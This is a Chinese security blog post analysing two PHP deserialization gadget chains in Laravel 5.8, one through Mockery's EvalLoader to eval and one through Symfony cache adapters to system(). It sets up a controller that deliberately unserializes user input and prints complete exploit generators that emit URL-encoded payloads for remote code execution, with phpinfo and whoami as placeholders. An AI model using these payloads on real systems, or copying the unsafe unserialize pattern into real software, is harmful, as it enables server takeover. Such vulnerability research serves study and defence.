Laravel5.8.x反序列化POP链

本篇文章将记录 laravel5.8 框架中的两条反序列化 POP链

漏洞环境

直接使用 composer 安装 laravel5.8 框架,并通过 php artisan serve 命令启动 Web 服务。

1
2
3
➜  composer create-project --prefer-dist laravel/laravel laravel58
cd laravel58
➜ php artisan serve --host=0.0.0.0
在 **laravel57/routes/web.php** 文件中添加一条路由,便于我们后续访问。
1
2
3
4
// /var/www/html/laravel58/routes/web.php
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>

laravel58/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace App\Http\Controllers;

class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}

POP链1

这条链来自 pithon 的代码审计小密圈,按照如上方法安装将默认存在该链。先从 PendingBroadcast 类的 __destruct 方法开始 POP链 ,将 $this->events 设置成 Dispatcher 类。进入 dispatch 方法后,我们要想办法执行到 第73行dispatchToQueue 方法,因为在 dispatchToQueue 方法中存在 call_user_func 函数,且可以完成任意类方法调用,所以我们要使得 第72行if 语句条件为真。 ShouldQueue 是个接口,我们只要让 $command 为实现该接口的类即可, $command第57行 传入的 $this->event

1

现在我们已经可以调用任意类的任意方法了,下面就寻找可利用的类方法,这里我们使用的是 EvalLoader 类的 load 方法,因为里面有调用 eval 函数,且参数可控。接下来我们只要构造条件,使得 eval 函数前面的 if 语句块不执行 return 即可。如下图 第44行 ,我们只要找一个有 getName 方法的类,且返回结果可控即可。

2

整个链的构造相对容易,最终 EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;

public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>

3

POP链2

这条链来自前一阵CTF国赛某道题目。漏洞存在 symfony 组件中(影响至罪行 4.4.x-dev 版本),而默认安装的 laravel5.8 框架没有包含该组件。为了复现该漏洞,我们需要将 composer.json 文件中的 require 添加 “symfony/symfony”: “4.*” 并执行 composer update 命令即可。

POP链 的入口为 TagAwareAdapter 类的 __destruct 方法,经过一些列调用,其会调用 $this->poolsaveDeferred 方法。

4

这里,我们将 $this->pool 设置为 ProxyAdapter 类。在 ProxyAdapter 类的 saveDeferred 方法中,会调用本类的 doSave 方法。而在 doSave 方法中,我们发现了可控的动态调用,如下图 第223行 所示。

5

首先,程序将 $item 类强转成数组(上图 第207行 ),然后再从数组中取值作为下面动态调用函数的参数(上图 第213行 )。这里可以看到有 $item[“\0*\0expiry”]$item[“\0*\0poolHash”] 这种写法,数组键名带有 \0*\0 。这实际上是类中,修饰符为 protected 的属性,在类强转成数组之后的结果。具体可以参考如下Demo:

6

这里动态调用 ($this->setInnerItem)($innerItem, $item) 中有两个参数,其中第一个参数可控,刚好 system 函数最多支持两个参数,所以我们这里可以利用 system 函数来执行命令。

7

整个链的构造相对容易,最终 EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace Symfony\Component\Cache{
final class CacheItem
{
protected $expiry;
protected $poolHash;
protected $innerItem;
public function __construct($expiry, $poolHash, $command)
{
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $command;
}
}
}
namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $poolHash;
private $setInnerItem;
public function __construct($poolHash, $func)
{
$this->poolHash = $poolHash;
$this->setInnerItem = $func;
}
}
class TagAwareAdapter
{
private $deferred = [];
private $pool;
public function __construct($deferred, $pool)
{
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}
namespace {
$cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"whoami");
$proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
$tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
echo urlencode(serialize($tagawareadapter));
}

有的 symfony 组件版本执行命令后有回显,有的没有,具体大家自己测试。

文章作者: Mochazz
文章链接: https://mochazz.github.io/2019/08/05/Laravel5.8.x反序列化链/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog